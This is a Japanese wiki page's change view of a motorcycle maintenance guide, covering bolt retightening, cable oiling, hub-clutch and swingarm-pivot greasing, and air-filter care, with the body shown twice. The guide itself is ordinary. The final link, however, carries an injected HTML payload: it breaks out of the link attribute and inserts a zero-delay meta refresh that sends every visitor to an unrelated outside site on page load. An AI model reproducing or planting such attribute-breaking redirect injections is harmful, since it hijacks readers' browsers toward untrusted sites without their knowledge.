「定期メンテナンス」(2007/12/09 (日) 22:08:31) の最新版変更点
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定期的なメンテナンス。
一定期間毎または走行距離に応じてメンテナンスしていきましょう。
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#contents
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**各部増し締め
1ヶ月に一度、1000km毎に一度。
主に増し締めする場所は以下の通り
ミラーの角度調整部分、根元の部分
トップブリッジのフォークを留めているボルト
ステム側でフォークを留めている2本のボルト
ブレーキキャリパーを固定するボルト
アクスルナット
左側フォークの下、アクスルシャフトを固定するボルト
フェンダーを固定するボルト
マフラーのフランジナット
エキパイとサイレンサーの間のバンド
エンジンマウント
ステップの取り付けボルト
ブレーキの取り付けボルト
キックペダルの取り付けボルト
タンデムステップ、マフラーの取り付けボルト
リアショックの取り付けボルト(上下)
ウインカー取り付けボルト
テールランプのレンズのビス
ウインカーレンズのビス
ナンバーの取り付けボルト
シフトペダルの取り付けボルト
サイドスタンドの取り付けボルト
シートの取り付けボルト
**各部ワイヤーの注油
クラッチワイヤー
スロットルワイヤー
**各部グリスアップ
1ヶ月ごとに一度、1000km毎に一度。雨天走行後等。
クレ556などは直ぐに流れ落ちてしまうので粘度の高いものを使用すること。
ハブクラッチ:モリブデングリス
ニップル部からグリスガンでグリスを注入していく。
ハブの隙間からグリスがはみ出る程度に注入する。
尚、XT500のOリングを組み込むときれいにグリスが行き渡る。
組み込んで無い場合はきれいに行き渡らないどころか、
ハブダンパーの場所に入りゴムを痛めることがある。
リアスイングアームのピボット:モリブデングリス
ニップルとグリスガンでピボットシャフトから注入していく。
ここのグリスが切れていると焼きつきが起こるので注意!
グリスを注入するときは両側ともボルトを外してゆっくり注入する。
上2つは長く乗ろうと思うときには必ずすること。
ステップ:スプレー缶のグリス
タンデムステップ:スプレー缶のグリス
スタンド:スプレー缶のグリス
キックアーム:スプレー缶のグリス
**エアフィルター
3000~5000km毎の点検と清掃が目安。(地域による)
長期間手入れしないと本来の性能を発揮できなくなってしまう。
エアクリーナーボックス内のオイル汚れも綺麗にしておく。
フィルターは劣化が酷ければ交換すること。
年式によって乾式か湿式かに分かれる。注意。
定期的なメンテナンス。
一定期間毎または走行距離に応じてメンテナンスしていきましょう。
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#contents
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**各部増し締め
1ヶ月に一度、1000km毎に一度。
主に増し締めする場所は以下の通り
ミラーの角度調整部分、根元の部分
トップブリッジのフォークを留めているボルト
ステム側でフォークを留めている2本のボルト
ブレーキキャリパーを固定するボルト
アクスルナット
左側フォークの下、アクスルシャフトを固定するボルト
フェンダーを固定するボルト
マフラーのフランジナット
エキパイとサイレンサーの間のバンド
エンジンマウント
ステップの取り付けボルト
ブレーキの取り付けボルト
キックペダルの取り付けボルト
タンデムステップ、マフラーの取り付けボルト
リアショックの取り付けボルト(上下)
ウインカー取り付けボルト
テールランプのレンズのビス
ウインカーレンズのビス
ナンバーの取り付けボルト
シフトペダルの取り付けボルト
サイドスタンドの取り付けボルト
シートの取り付けボルト
**各部ワイヤーの注油
クラッチワイヤー
スロットルワイヤー
**各部グリスアップ
1ヶ月ごとに一度、1000km毎に一度。雨天走行後等。
クレ556などは直ぐに流れ落ちてしまうので粘度の高いものを使用すること。
ハブクラッチ:モリブデングリス
ニップル部からグリスガンでグリスを注入していく。
ハブの隙間からグリスがはみ出る程度に注入する。
尚、XT500のOリングを組み込むときれいにグリスが行き渡る。
組み込んで無い場合はきれいに行き渡らないどころか、
ハブダンパーの場所に入りゴムを痛めることがある。
リアスイングアームのピボット:モリブデングリス
ニップルとグリスガンでピボットシャフトから注入していく。
ここのグリスが切れていると焼きつきが起こるので注意!
グリスを注入するときは両側ともボルトを外してゆっくり注入する。
上2つは長く乗ろうと思うときには必ずすること。
ステップ:スプレー缶のグリス
タンデムステップ:スプレー缶のグリス
スタンド:スプレー缶のグリス
キックアーム:スプレー缶のグリス
**エアフィルター
3000~5000km毎の点検と清掃が目安。(地域による)
長期間手入れしないと本来の性能を発揮できなくなってしまう。
エアクリーナーボックス内のオイル汚れも綺麗にしておく。
フィルターは劣化が酷ければ交換すること。
年式によって乾式か湿式かに分かれる。注意。[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
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